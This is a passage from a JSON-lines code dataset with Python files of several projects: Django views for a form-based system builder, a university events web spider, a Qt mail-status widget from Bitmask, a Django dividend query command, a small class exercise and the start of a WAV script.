range(n))\n","repo_name":"narfman0/helga-team","sub_path":"helga_team/helga_team.py","file_name":"helga_team.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"38492843683","text":"# -*- coding: utf-8 -*-\n\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic.detail import DetailView\nfrom django.http import HttpResponse, HttpRequest\nfrom django.shortcuts import render_to_response\nfrom django.views.generic import TemplateView\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth.models import User\nfrom django.views.generic.base import View\nfrom django.shortcuts import redirect\n\nfrom django.conf import settings\nfrom django.views import generic\nimport re #regex\n\n\n# Meus pacotes\nfrom myMixins.mixins import LoginRequiredMixin, ChkObjOwnershipMixin\nfrom sistema.models import Sistema, SistemaForm\nfrom elemento.models import Elemento\n\n# Pacotes de terceiro\nfrom bsct import views \nfrom wysiwyg_forms.models import Form, Field\n\nimport logging\nlogger = logging.getLogger(\"mylog\")\n\n\n\nclass SistemaMudaTemplateView(LoginRequiredMixin, ChkObjOwnershipMixin, DetailView):\n def get(self, request, *args, **kwargs):\n res = ''\n url = ''\n m_create = re.compile(\"add\")\n m_update = re.compile(\"update\")\n if m_create.search(request.META.get('HTTP_REFERER')):\n res = 'sistema_create_template'\n url = reverse(res, kwargs={'template':'1'})\n \n elif m_update.search(request.META.get('HTTP_REFERER')):\n res = 'sistema_update_template'\n pk = re.findall('^.*/update/([0-9]+)', request.META.get('HTTP_REFERER'))\n url = reverse(res, kwargs={'pk': pk[0], 'template':'1'})\n\n request.session['template'] = self.kwargs['template']\n return HttpResponseRedirect(url)\n\n\n\nclass SistemaPublicarConfirmaView(LoginRequiredMixin, ChkObjOwnershipMixin, DetailView):\n model = Sistema\n template_name = 'loopware/sistema_publicar_confirma.html' \n #def get(self, request, *args, **kwargs):\n \n \n def get_context_data(self, **kwargs):\n context = super(SistemaPublicarConfirmaView, self).get_context_data(**kwargs)\n \n sistema = Sistema.objects.get(id=self.kwargs['pk'])\n #return render_to_response('loopware/sistema_publicar_confirma.html', {'sistema':sistema})\n\n sistema_finalizado = ''\n\n # Verifica se existem fields no final da cadeia do sistema.\n # Caso positivo o sistema estah finalizado.\n elementos = Elemento.objects.filter( sistema_id = sistema.id)\n if elementos:\n for elemento in elementos:\n forms = Form.objects.filter( elemento_id = elemento.id)\n if forms:\n fields = Field.objects.filter( form_id = forms[0].id)\n if fields:\n sistema_finalizado = '1'\n \n\n\n # Isso aqui precisa passar para uma classe e herdar dessa classe.\n sistema_status = {}\n elementos = Elemento.objects.filter( sistema_id = sistema.id)\n if elementos:\n sistema_status['elementos'] = ' OK! '\n\n for elemento in elementos:\n forms = Form.objects.filter( elemento_id = elemento.id)\n if forms:\n sistema_status['forms'] = ' OK! '\n\n # Nao sei pq merda, aqui soh funciona se colocar o forms[0].\n # se tentar iterar forms dah merda e nao funciona.\n #for form in forms:\n fields = Field.objects.filter( form_id = forms[0].id)\n if fields:\n sistema_status['fields'] = ' OK! '\n else:\n sistema_status['fields'] = ' NOK! '\n\n else:\n sistema_status['forms'] = ' NOK! '\n sistema_status['fields'] = ' NOK! '\n\n else:\n sistema_status['elementos'] = ' NOK! '\n sistema_status['forms'] = ' NOK! '\n sistema_status['fields'] = ' NOK! '\n \n context.update({\n 'sistema_finalizado': sistema_finalizado, 'sistema':sistema, 'sistema_status': sistema_status\n\n })\n return context\n\n\n\nclass SistemaPublicarView(LoginRequiredMixin, ChkObjOwnershipMixin, DetailView):\n def get(self, request, *args, **kwargs):\n import subprocess\n\n #pipe = subprocess.Popen(['/usr/bin/sudo', '/usr/bin/perl', '/devel/inteliform_perl/create_project.pl', self.kwargs['pk']], stdout=subprocess.PIPE)\n pipe = subprocess.Popen(['/usr/bin/sudo', '/usr/bin/perl', settings.PERL_CREATE_PROJECT, self.kwargs['pk'], settings.INTELIFORM_PERL_DIR], stdout=subprocess.PIPE)\n result = pipe.stdout.read() # this is the output of the process\n\n sistema = Sistema.objects.get(id=self.kwargs['pk'])\n \n return render_to_response('loopware/sistema_inicializacao.html', {'result':result, 'sistema':sistema, 'subdominio_projetos': settings.SUBDOMINIO_PROJETOS, 'ambiente':settings.AMBIENTE, 'id':self.kwargs['pk'] })\n\n\n\nclass SistemaCreateView( views.CreateView ):\n form_class = SistemaForm\n def form_valid(self, form):\n obj = form.save(commit=False)\n obj.created_by = self.request.user\n if not 'template' in self.request.session:\n self.request.session['template'] = 'flatly'\n \n obj.template = self.request.session['template']\n obj.save()\n return super(SistemaCreateView, self).form_valid(form)\n \n def get_context_data(self, **kwargs):\n context = super(SistemaCreateView, self).get_context_data(**kwargs)\n\n textos = {}\n textos['app_desc'] = 'Digite as informações abaixo para criar o seu sistema.
Lembre-se que em apenas 4 passos você cria o seu sistema, e você está no passo número 2.'\n textos['template'] = '1'\n\n # Nao entendo aqui.\n # Ele deveria pegar o kwargs template e setar a variavel template que estah\n # sendo monitorada no base.html. Porem nao pega no kwargs o template, entao setando fora da verificacao mesmo.\n template = '1'\n\n # Primeira criacao de sistema. Ainda nao tem sessao, entao usa o template default no base.html\n if 'template' not in self.request.session:\n template = ''\n\n \n context.update({\n 'textos': textos, 'template': template\n })\n return context \n\n\nclass SistemaUpdateView( views.UpdateView) :\n form_class = SistemaForm\n def form_valid(self, form):\n obj = form.save(commit=False)\n obj.created_by = self.request.user\n if not 'template' in self.request.session:\n self.request.session['template'] = 'flatly'\n \n obj.template = self.request.session['template']\n obj.save()\n return super(SistemaUpdateView, self).form_valid(form)\n \n def get_context_data(self, **kwargs):\n context = super(SistemaUpdateView, self).get_context_data(**kwargs)\n\n textos = {}\n textos['app_desc'] = 'Edite as informações abaixo e clique no botão salvar.'\n textos['template'] = '1'\n \n # Nao entendo aqui.\n # Ele deveria pegar o kwargs template e setar a variavel template que estah\n # sendo monitorada no base.html. Porem nao pega no kwargs o template, entao setando fora da verificacao mesmo.\n template = '1'\n\n\n # Primeira edicao de sistema, pode nao ter sessao, entao usa o template default no base.html\n if 'template' not in self.request.session:\n template = ''\n \n \n \n context.update({\n 'textos': textos, 'template': template\n })\n return context \n\n\nclass SistemaListView( views.ListView ):\n model = Sistema\n template_name = 'loopware/sistema_list.html' \n\n \"\"\"\n def get_context_object_name(self, object_list):\n for sistema in object_list:\n setattr(sistema, 'foo', 'bar')\n\n pass\n #for sistema in object_list:\n # sistema.foo = 'bar'\n \n \"\"\"\n\n # Update no contexto, retornando lista de elementos e formularios relacionados.\n def get_context_data(self, **kwargs):\n context = super(SistemaListView, self).get_context_data(**kwargs)\n\n sistema_lista = []\n\n # Dah para iterar direto por objeto.\n # Corrigir.\n #for sistema in Sistema.objects.all():\n for sistema in Sistema.objects.filter( created_by_id = self.request.user ):\n elementos = Elemento.objects.filter( sistema_id = sistema.id)\n if elementos:\n setattr(sistema, 'elementos', ' OK! ')\n\n for elemento in elementos:\n forms = Form.objects.filter( elemento_id = elemento.id)\n if forms:\n setattr(sistema, 'forms', ' OK! ')\n\n # Nao sei pq merda, aqui soh funciona se colocar o forms[0].\n # se tentar iterar forms dah merda e nao funciona.\n #for form in forms:\n fields = Field.objects.filter( form_id = forms[0].id)\n if fields:\n setattr(sistema, 'fields', ' OK! ')\n else:\n setattr(sistema, 'fields', ' NOK! ')\n\n else:\n setattr(sistema, 'forms', ' NOK! ')\n setattr(sistema, 'fields', ' NOK! ')\n\n else:\n setattr(sistema, 'elementos', ' NOK! ')\n setattr(sistema, 'forms', ' NOK! ')\n setattr(sistema, 'fields', ' NOK! ')\n \n sistema_lista.append(sistema)\n\n context.update({\n 'objeto_lista': sistema_lista, 'subdominio_projetos': settings.SUBDOMINIO_PROJETOS\n })\n return context\n \n\n \nclass SistemaDetailListView( views.DetailView ):\n model = Sistema\n template_name = 'loopware/sistema_detail_list.html' \n\n def get_context_data(self, **kwargs):\n context = super(SistemaDetailListView, self).get_context_data(**kwargs)\n \n sistema = Sistema.objects.get(id=self.kwargs['pk'])\n #return render_to_response('loopware/sistema_publicar_confirma.html', {'sistema':sistema})\n\n sistema_finalizado = ''\n\n # Verifica se existem fields no final da cadeia do sistema.\n # Caso positivo o sistema estah finalizado.\n elementos = Elemento.objects.filter( sistema_id = sistema.id)\n if elementos:\n for elemento in elementos:\n forms = Form.objects.filter( elemento_id = elemento.id)\n if forms:\n fields = Field.objects.filter( form_id = forms[0].id)\n if fields:\n sistema_finalizado = '1'\n \n\n\n # Isso aqui precisa passar para uma classe e herdar dessa classe.\n sistema_status = {}\n elementos = Elemento.objects.filter( sistema_id = sistema.id)\n if elementos:\n sistema_status['elementos'] = ' OK! '\n\n for elemento in elementos:\n forms = Form.objects.filter( elemento_id = elemento.id)\n if forms:\n sistema_status['forms'] = ' OK! '\n\n # Nao sei pq merda, aqui soh funciona se colocar o forms[0].\n # se tentar iterar forms dah merda e nao funciona.\n #for form in forms:\n fields = Field.objects.filter( form_id = forms[0].id)\n if fields:\n sistema_status['fields'] = ' OK! '\n else:\n sistema_status['fields'] = ' NOK! '\n\n else:\n sistema_status['forms'] = ' NOK! '\n sistema_status['fields'] = ' NOK! '\n\n else:\n sistema_status['elementos'] = ' NOK! '\n sistema_status['forms'] = ' NOK! '\n sistema_status['fields'] = ' NOK! '\n \n context.update({\n 'sistema_finalizado': sistema_finalizado, 'sistema':sistema, 'sistema_status': sistema_status, 'subdominio_projetos': settings.SUBDOMINIO_PROJETOS\n })\n return context\n\n \n \n","repo_name":"robson-koji/making_software","sub_path":"loopware/sistema/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13509,"program_lang":"python","lang":"pt","doc_type":"code","stars":8,"dataset":"github-code","pt":"40"} +{"seq_id":"36049842243","text":"from spider_template import GGVenturesSpider\n\n\nclass Ven0001Spider(GGVenturesSpider):\n name = 'ven_0001'\n start_urls = [\"http://v1.iesa.edu.ve/contactanos/directorio-de-contactos\"]\n country = 'Venezuela'\n # eventbrite_id = 6221361805\n\n # handle_httpstatus_list = [301,302,403,404]\n\n static_name = \"IESA - Instituto de Estudios Superiores de Administración\"\n \n static_logo = \"https://www.iesa.edu.ve/images/logo.png?cb=636987889266838096\"\n\n # MAIN EVENTS LIST PAGE\n parse_code_link = \"https://www.iesa.edu.ve/eventos-y-actividades\"\n\n university_contact_info_xpath = \"//body\"\n # contact_info_text = True\n contact_info_textContent = True\n # contact_info_multispan = True\n TRANSLATE = True\n\n def parse_code(self,response):\n try:\n ####################\n self.driver.get(response.url)\n \n # self.check_website_changed(upcoming_events_xpath=\"//p[text()='No events are currently published.']\",empty_text=False)\n \n # self.ClickMore(click_xpath=\"//a[text()='Больше событий']\",run_script=True)\n \n # for link in self.multi_event_pages(num_of_pages=8,event_links_xpath=\"//div[starts-with(@class,'event-calendar__day-wrap')]//a\",next_page_xpath=\"//span[starts-with(@class,'icon-arrow-calendar')][2]\",get_next_month=False,click_next_month=True,wait_after_loading=True,run_script=False):\n for link in self.events_list(event_links_xpath=\"//div[@id='blog-list-isotope'][1]//article/a\"):\n self.getter.get(link)\n if self.unique_event_checker(url_substring=[\"https://www.iesa.edu.ve/eventos-y-actividades/\"]):\n \n self.Func.print_log(f\"Currently scraping --> {self.getter.current_url}\",\"info\")\n\n item_data = self.item_data_empty.copy()\n \n item_data['event_link'] = link\n\n item_data['event_name'] = self.scrape_xpath(xpath_list=[\"//h1\"])\n item_data['event_desc'] = self.scrape_xpath(xpath_list=[\"//div[@class='page-html']\"],method='attr',enable_desc_image=True)\n item_data['event_date'] = self.scrape_xpath(xpath_list=[\"//strong[text()='Fecha:']/..\",\"//span[@class='date float-left']\"],method='attr')\n item_data['event_time'] = self.scrape_xpath(xpath_list=[\"//strong[text()='Horarios:']/../following-sibling::*\",\"//p/parent::div[@class='page-html']\"],method='attr')\n\n yield self.load_item(item_data=item_data,item_selector=link)\n\n ####################\n except Exception as e:\n self.exception_handler(e)\n","repo_name":"kingcobra1325/ggventures-bot","sub_path":"ggventures/spiders/ven_0001.py","file_name":"ven_0001.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"18048147133","text":"from PySide import QtCore, QtGui\n\nfrom leap.bitmask.logs.utils import get_logger\nfrom leap.bitmask.platform_init import IS_LINUX\nfrom leap.bitmask.services import get_service_display_name, MX_SERVICE\nfrom leap.common.check import leap_assert, leap_assert_type\nfrom leap.common.events import register\nfrom leap.common.events import catalog\n\nfrom leap.bitmask.gui.preferenceswindow import PreferencesWindow\nfrom ui_mail_status import Ui_MailStatusWidget\nfrom .qt_browser import PixelatedWindow\n\nlogger = get_logger()\n\n\nclass MailStatusWidget(QtGui.QWidget):\n \"\"\"\n Status widget that displays the state of the LEAP Mail service\n \"\"\"\n _soledad_event = QtCore.Signal(object, object)\n _smtp_event = QtCore.Signal(object)\n _imap_event = QtCore.Signal(object, object)\n _keymanager_event = QtCore.Signal(object)\n\n def __init__(self, parent=None):\n \"\"\"\n Constructor for MailStatusWidget\n\n :param parent: parent widget for this one.\n :type parent: QtGui.QWidget\n \"\"\"\n QtGui.QWidget.__init__(self, parent)\n\n self._systray = None\n self._disabled = True\n self._started = False\n self._mainwindow = parent\n\n self._unread_mails = 0\n\n self.ui = Ui_MailStatusWidget()\n self.ui.setupUi(self)\n\n self.ui.email_ready.setVisible(False)\n self.ui.configure_button.clicked.connect(\n self._show_configure)\n self.ui.open_mail_button.clicked.connect(\n self._show_pix_ua)\n if not self._mainwindow._settings.get_pixelmail_enabled():\n self.ui.open_mail_button.setVisible(False)\n self.ui.or_label.setVisible(False)\n\n # set systray tooltip status\n self._mx_status = \"\"\n self._service_name = get_service_display_name(MX_SERVICE)\n\n # Set the Mail status icons\n self.CONNECTING_ICON = None\n self.CONNECTED_ICON = None\n self.ERROR_ICON = None\n self.CONNECTING_ICON_TRAY = None\n self.CONNECTED_ICON_TRAY = None\n self.ERROR_ICON_TRAY = None\n self._set_mail_icons()\n\n register(event=catalog.KEYMANAGER_LOOKING_FOR_KEY,\n callback=self._mail_handle_keymanager_events)\n register(event=catalog.KEYMANAGER_KEY_FOUND,\n callback=self._mail_handle_keymanager_events)\n register(event=catalog.KEYMANAGER_KEY_NOT_FOUND,\n callback=self._mail_handle_keymanager_events)\n register(event=catalog.KEYMANAGER_STARTED_KEY_GENERATION,\n callback=self._mail_handle_keymanager_events)\n register(event=catalog.KEYMANAGER_FINISHED_KEY_GENERATION,\n callback=self._mail_handle_keymanager_events)\n register(event=catalog.KEYMANAGER_DONE_UPLOADING_KEYS,\n callback=self._mail_handle_keymanager_events)\n\n register(event=catalog.SOLEDAD_DONE_DOWNLOADING_KEYS,\n callback=self._mail_handle_soledad_events)\n register(event=catalog.SOLEDAD_DONE_UPLOADING_KEYS,\n callback=self._mail_handle_soledad_events)\n register(event=catalog.SOLEDAD_SYNC_RECEIVE_STATUS,\n callback=self._mail_handle_soledad_events)\n register(event=catalog.SOLEDAD_SYNC_SEND_STATUS,\n callback=self._mail_handle_soledad_events)\n register(event=catalog.SOLEDAD_INVALID_AUTH_TOKEN,\n callback=self.set_soledad_invalid_auth_token)\n register(event=catalog.SOLEDAD_DONE_DATA_SYNC,\n callback=self._mail_handle_soledad_events)\n\n register(event=catalog.MAIL_UNREAD_MESSAGES,\n callback=self._mail_handle_imap_events)\n register(event=catalog.IMAP_SERVICE_STARTED,\n callback=self._mail_handle_imap_events)\n register(event=catalog.SMTP_SERVICE_STARTED,\n callback=self._mail_handle_imap_events)\n register(event=catalog.IMAP_CLIENT_LOGIN,\n callback=self._mail_handle_imap_events)\n\n self._soledad_event.connect(\n self._mail_handle_soledad_events_slot)\n self._imap_event.connect(\n self._mail_handle_imap_events_slot)\n self._smtp_event.connect(\n self._mail_handle_smtp_events_slot)\n self._keymanager_event.connect(\n self._mail_handle_keymanager_events_slot)\n\n def _set_mail_icons(self):\n \"\"\"\n Sets the Mail status icons for the main window and for the tray\n\n MAC : dark icons\n LINUX : dark icons in window, light icons in tray\n WIN : light icons\n \"\"\"\n EIP_ICONS = EIP_ICONS_TRAY = (\n \":/images/black/22/wait.png\",\n \":/images/black/22/on.png\",\n \":/images/black/22/off.png\")\n\n if IS_LINUX:\n EIP_ICONS_TRAY = (\n \":/images/white/22/wait.png\",\n \":/images/white/22/on.png\",\n \":/images/white/22/off.png\")\n\n self.CONNECTING_ICON = QtGui.QPixmap(EIP_ICONS[0])\n self.CONNECTED_ICON = QtGui.QPixmap(EIP_ICONS[1])\n self.ERROR_ICON = QtGui.QPixmap(EIP_ICONS[2])\n\n self.CONNECTING_ICON_TRAY = QtGui.QPixmap(EIP_ICONS_TRAY[0])\n self.CONNECTED_ICON_TRAY = QtGui.QPixmap(EIP_ICONS_TRAY[1])\n self.ERROR_ICON_TRAY = QtGui.QPixmap(EIP_ICONS_TRAY[2])\n\n #\n # Button actions\n #\n\n def _show_configure(self):\n pref_win = PreferencesWindow(self._mainwindow, self._mainwindow.app)\n pref_win.set_page(\"email\")\n pref_win.show()\n\n def _show_pix_ua(self):\n win = PixelatedWindow(self._mainwindow)\n win.show()\n win.load_app()\n\n #\n # Systray\n #\n\n def set_systray(self, systray):\n \"\"\"\n Sets the systray object to use and adds the service line for MX.\n\n :param systray: Systray object\n :type systray: QtGui.QSystemTrayIcon\n \"\"\"\n leap_assert_type(systray, QtGui.QSystemTrayIcon)\n self._systray = systray\n mx_status = self.tr(\"{0}: OFF\").format(self._service_name)\n self._systray.set_service_tooltip(MX_SERVICE, mx_status)\n\n def _update_systray_tooltip(self):\n \"\"\"\n Updates the system tray tooltip using the mx status.\n \"\"\"\n if self._systray is not None:\n mx_status = u\"{0}: {1}\".format(self._service_name, self._mx_status)\n self._systray.set_service_tooltip(MX_SERVICE, mx_status)\n\n #\n # Status\n #\n\n def set_action_mail_status(self, action_mail_status):\n \"\"\"\n Sets the action_mail_status to use.\n\n :param action_mail_status: action_mail_status to be used\n :type action_mail_status: QtGui.QAction\n \"\"\"\n leap_assert_type(action_mail_status, QtGui.QAction)\n self._action_mail_status = action_mail_status\n\n def set_soledad_failed(self):\n \"\"\"\n TRIGGERS:\n Signaler.soledad_bootstrap_failed\n\n This method is called whenever soledad has a failure.\n \"\"\"\n msg = self.tr(\"There was an unexpected problem with Soledad.\")\n self._set_mail_status(msg, ready=-1)\n\n def set_soledad_invalid_auth_token(self, event, content=None):\n \"\"\"\n This method is called when the auth token is invalid\n\n :param event: The event that triggered the callback.\n :type event: str\n :param content: The content of the event.\n :type content: list\n \"\"\"\n msg = self.tr(\"Invalid auth token, try logging in again.\")\n self._set_mail_status(msg, ready=-1)\n\n def _set_mail_status(self, status, ready=0):\n \"\"\"\n Sets the Mail status in the label and in the tray icon.\n\n :param status: the status text to display\n :type status: unicode\n :param ready: 2 or >2 if mx is ready, 0 if stopped, 1 if it's\n starting, < 0 if disabled.\n :type ready: int\n \"\"\"\n self.ui.lblMailStatus.setText(status)\n\n self._mx_status = self.tr('OFF')\n tray_status = self.tr('Mail is OFF')\n\n icon = self.ERROR_ICON\n if ready == 0:\n self.ui.lblMailStatus.setText(\n self.tr(\"You must be logged in to use {0}.\").format(\n self._service_name))\n elif ready == 1:\n icon = self.CONNECTING_ICON\n self._mx_status = self.tr('Starting...')\n tray_status = self.tr('Mail is starting')\n elif ready >= 2:\n icon = self.CONNECTED_ICON\n self._mx_status = self.tr('ON')\n tray_status = self.tr('Mail is ON')\n elif ready < 0:\n tray_status = self.tr(\"Mail is disabled\")\n\n if ready < 1:\n self._hide_mail_ready()\n\n self.ui.lblMailStatusIcon.setPixmap(icon)\n self._action_mail_status.setText(tray_status)\n self._update_systray_tooltip()\n\n def _mail_handle_soledad_events(self, event, user_data, content=\"\"):\n \"\"\"\n Callback for handling events that are emitted from Soledad\n\n :param event: The event that triggered the callback.\n :type event: str\n :param user_id: The user_data of the soledad user. Ignored right now,\n since we're only contemplating single-user in soledad.\n :type user_id: dict\n :param content: The content of the event.\n :type content: dict\n \"\"\"\n self._soledad_event.emit(event, content)\n\n def _mail_handle_soledad_events_slot(self, event, content):\n \"\"\"\n TRIGGERS:\n _mail_handle_soledad_events\n\n Reacts to an Soledad event\n\n :param event: The event that triggered the callback.\n :type event: str\n :param content: The content of the event.\n :type content: dict\n \"\"\"\n self._set_mail_status(self.tr(\"Starting...\"), ready=1)\n\n ext_status = \"\"\n ready = None\n\n if event == catalog.SOLEDAD_DONE_UPLOADING_KEYS:\n ext_status = self.tr(\"Soledad has started...\")\n ready = 1\n elif event == catalog.SOLEDAD_DONE_DOWNLOADING_KEYS:\n ext_status = self.tr(\"Soledad is starting, please wait...\")\n ready = 1\n elif event == catalog.SOLEDAD_SYNC_RECEIVE_STATUS:\n sync_progress = content['received'] * 100 / content['total']\n if sync_progress < 100:\n ext_status = self.tr(\"Sync: downloading ({0:02}%)\")\n ext_status = ext_status.format(sync_progress)\n else:\n ext_status = self.tr(\"Sync: download completed.\")\n\n ready = 2\n elif event == catalog.SOLEDAD_SYNC_SEND_STATUS:\n sync_progress = content['sent'] * 100 / content['total']\n if sync_progress < 100:\n ext_status = self.tr(\"Sync: uploading ({0:02}%)\")\n ext_status = ext_status.format(sync_progress)\n else:\n ext_status = self.tr(\"Sync: upload complete.\")\n\n ready = 2\n elif event == catalog.SOLEDAD_DONE_DATA_SYNC:\n if self._unread_mails > 0:\n self._show_unread_mails()\n return\n else:\n ext_status = self.tr(\"Sync: completed.\")\n\n ready = 2\n else:\n leap_assert(False,\n \"Don't know how to handle this state: %s\"\n % (event))\n\n self._set_mail_status(ext_status, ready=ready)\n\n def _mail_handle_keymanager_events(self, event, content):\n \"\"\"\n Callback for the KeyManager events\n\n :param event: The event that triggered the callback.\n :type event: str\n :param content: The content of the event.\n :type content: list\n \"\"\"\n self._keymanager_event.emit(event)\n\n def _mail_handle_keymanager_events_slot(self, event):\n \"\"\"\n TRIGGERS:\n _mail_handle_keymanager_events\n\n Reacts to an KeyManager event\n\n :param event: The event that triggered the callback.\n :type event: str\n \"\"\"\n # We want to ignore this kind of events once everything has\n # started\n if self._started:\n return\n\n ext_status = \"\"\n\n if event == catalog.KEYMANAGER_LOOKING_FOR_KEY:\n ext_status = self.tr(\"Initial sync in progress, please wait...\")\n elif event == catalog.KEYMANAGER_KEY_FOUND:\n ext_status = self.tr(\"Found key! Starting mail...\")\n elif event == catalog.KEYMANAGER_KEY_NOT_FOUND:\n ext_status = self.tr(\n \"Key not found...\")\n elif event == catalog.KEYMANAGER_STARTED_KEY_GENERATION:\n ext_status = self.tr(\n \"Generating new key, this may take a few minutes.\")\n elif event == catalog.KEYMANAGER_FINISHED_KEY_GENERATION:\n ext_status = self.tr(\"Finished generating key!\")\n elif event == catalog.KEYMANAGER_DONE_UPLOADING_KEYS:\n ext_status = self.tr(\"Starting mail...\")\n else:\n logger.warning(\"don't know to to handle %s\" % (event,))\n self._set_mail_status(ext_status, ready=1)\n\n def _mail_handle_smtp_events(self, event, content=\"\"):\n \"\"\"\n Callback for the SMTP events\n\n :param event: The event that triggered the callback.\n :type event: str\n \"\"\"\n self._smtp_event.emit(event)\n\n def _mail_handle_smtp_events_slot(self, event):\n \"\"\"\n TRIGGERS:\n _mail_handle_smtp_events\n\n Reacts to an SMTP event\n\n :param event: The event that triggered the callback.\n :type event: str\n \"\"\"\n ext_status = \"\"\n\n if event == catalog.SMTP_SERVICE_STARTED:\n self._smtp_started = True\n elif event == catalog.SMTP_SERVICE_FAILED_TO_START:\n ext_status = self.tr(\"SMTP failed to start, check the logs.\")\n else:\n leap_assert(False,\n \"Don't know how to handle this state: %s\"\n % (event))\n\n self._set_mail_status(ext_status, ready=2)\n\n # ----- XXX deprecate (move to mail conductor)\n\n def _mail_handle_imap_events(self, event, uuid, content=\"\"):\n \"\"\"\n Callback for the IMAP events\n\n :param event: The event that triggered the callback.\n :type event: str\n :param uuid: The UUID for the user. Ignored right now.\n :type uuid: str\n :param content: The content of the event.\n :type content: list\n \"\"\"\n self._imap_event.emit(event, content)\n\n def _mail_handle_imap_events_slot(self, event, content):\n \"\"\"\n TRIGGERS:\n _mail_handle_imap_events\n\n Reacts to an IMAP event\n\n :param event: The event that triggered the callback.\n :type event: str\n :param content: The content of the event.\n :type content: list\n \"\"\"\n ext_status = None\n\n if event == catalog.MAIL_UNREAD_MESSAGES:\n # By now, the semantics of the UNREAD_MAIL event are\n # limited to mails with the Unread flag *in the Inbox\".\n # We could make this configurable to include all unread mail\n # or all unread mail in subscribed folders.\n if self._started:\n try:\n self._unread_mails = int(content)\n except:\n self._unread_mails = 0\n\n self._show_unread_mails()\n elif event == catalog.IMAP_SERVICE_STARTED:\n self._imap_started = True\n # this is disabled for now, because this event was being\n # triggered at weird times.\n # elif event == catalog.IMAP_CLIENT_LOGIN:\n # self._hide_mail_ready()\n\n if ext_status is not None:\n self._set_mail_status(ext_status, ready=1)\n\n def _show_unread_mails(self):\n \"\"\"\n Show the user the amount of unread emails.\n \"\"\"\n count = self._unread_mails\n\n if count > 0:\n status = self.tr(\"{0} Unread Emails \"\n \"in your Inbox\").format(count)\n if count == 1:\n status = self.tr(\"1 Unread Email in your Inbox\")\n\n self._set_mail_status(status, ready=2)\n else:\n self._set_mail_status(\"\", ready=2)\n\n def about_to_start(self):\n \"\"\"\n Display the correct UI for the point where mail components\n haven't really started, but they are about to in a second.\n \"\"\"\n self._set_mail_status(self.tr(\"About to start, please wait...\"),\n ready=1)\n\n def set_disabled(self):\n \"\"\"\n Display the correct UI for disabled mail.\n \"\"\"\n self._set_mail_status(self.tr(\"Disabled\"), -1)\n\n # statuses\n\n # XXX make the signal emit the label and state.\n\n def mail_state_disconnected(self):\n \"\"\"\n Display the correct UI for the disconnected state.\n \"\"\"\n # XXX this should handle the disabled state better.\n self._started = False\n if self._disabled:\n self.mail_state_disabled()\n else:\n self._set_mail_status(self.tr(\"OFF\"), -1)\n\n def mail_state_connecting(self):\n \"\"\"\n Display the correct UI for the connecting state.\n \"\"\"\n self._disabled = False\n self._started = True\n self._set_mail_status(self.tr(\"Starting...\"), 1)\n\n def mail_state_disconnecting(self):\n \"\"\"\n Display the correct UI for the connecting state.\n \"\"\"\n self._set_mail_status(self.tr(\"Disconnecting...\"), 1)\n\n def mail_state_connected(self):\n \"\"\"\n Display the correct UI for the connected state.\n \"\"\"\n self._set_mail_status(self.tr(\"ON\"), 2)\n self.ui.email_ready.setVisible(True)\n\n def _hide_mail_ready(self):\n \"\"\"\n Hide the mail help message on the UI.\n \"\"\"\n self.ui.email_ready.setVisible(False)\n\n def mail_state_disabled(self):\n \"\"\"\n Display the correct UI for the disabled state.\n \"\"\"\n self._disabled = True\n status = self.tr(\"You must be logged in to use {0}.\").format(\n self._service_name)\n self._set_mail_status(status, -1)\n\n def soledad_invalid_auth_token(self):\n \"\"\"\n Display the correct UI for the invalid token state\n \"\"\"\n self._disabled = True\n status = self.tr(\"Invalid auth token, try logging in again.\")\n self._set_mail_status(status, -1)\n","repo_name":"leapcode/bitmask_client","sub_path":"src/leap/bitmask/gui/mail_status.py","file_name":"mail_status.py","file_ext":"py","file_size_in_byte":18452,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"40"} +{"seq_id":"74326004280","text":"from django.core.management.base import BaseCommand\nfrom orm.models import Stonk\n\n\nclass Command(BaseCommand):\n help = \"Run predetermined queries against the Stonk db\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--dvd\",\n type=str,\n nargs=\"+\",\n help=\"Get dividend-per-dollar ratio for given stonk(s). Use --all \"\n \"flag to get all dividend-per-dollar ratios listed\",\n )\n\n def handle(self, *args, **options):\n tickers = None\n dividends = None\n if \"gibe_all\" in options[\"dvd\"]:\n tickers, dividends = get_all_dividends_per_dollar()\n else:\n stonks = [Stonk.objects.get(ticker=sym.upper()) for sym in options[\"dvd\"]]\n tickers, dividends = get_dividends_per_dollar(stonks)\n\n for i, _ in enumerate(tickers):\n self.stdout.write(self.style.SUCCESS(f\"{tickers[i]}: {dividends[i]}\"))\n\n\ndef get_all_dividends_per_dollar():\n stonks = Stonk.objects.all()\n return get_dividends_per_dollar(stonks)\n\n\ndef get_dividends_per_dollar(stonks):\n ticker = [stonk.ticker for stonk in stonks]\n dividends = [stonk.dividend_per_dollar for stonk in stonks]\n return ticker, dividends\n","repo_name":"ishtiaque06/halal_stonks","sub_path":"query_engine/management/commands/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"41202034299","text":"class Person():\n def __init__(self, first_name, last_name):\n self.first_name = first_name\n self.last_name = last_name\n\n def greet(self):\n print(self.last_name + \" \" + self.first_name)\n\nclass Student(Person):\n def __init__(self, first_name, last_name):\n super().__init__(first_name,last_name)\n self.grades = []\n\n def add_grade(self, grade):\n self.grades.append(grade)\n\n def salute(self):\n self.greet()\n total = 0\n for grade in self.grades:\n total += grade\n print(total / len(self.grades))\n\nRudi = Student( \"Rudi\", \"Turo\")\nRudi.add_grade(1)\nRudi.add_grade(5)\nRudi.add_grade(2)\nRudi.add_grade(5)\nRudi.add_grade(5)\nRudi.salute()\n","repo_name":"zsolt-fekete/Greenfox","sub_path":"week-03/day-03/08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"3098681799","text":"import os\nimport wave\n\n# Directory containing WAV files\ninput_directory = r'E:\\Thesis\\Datasets\\230903_Gunshot_datasets\\audio\\val\\nocall' # Replace with the path to your 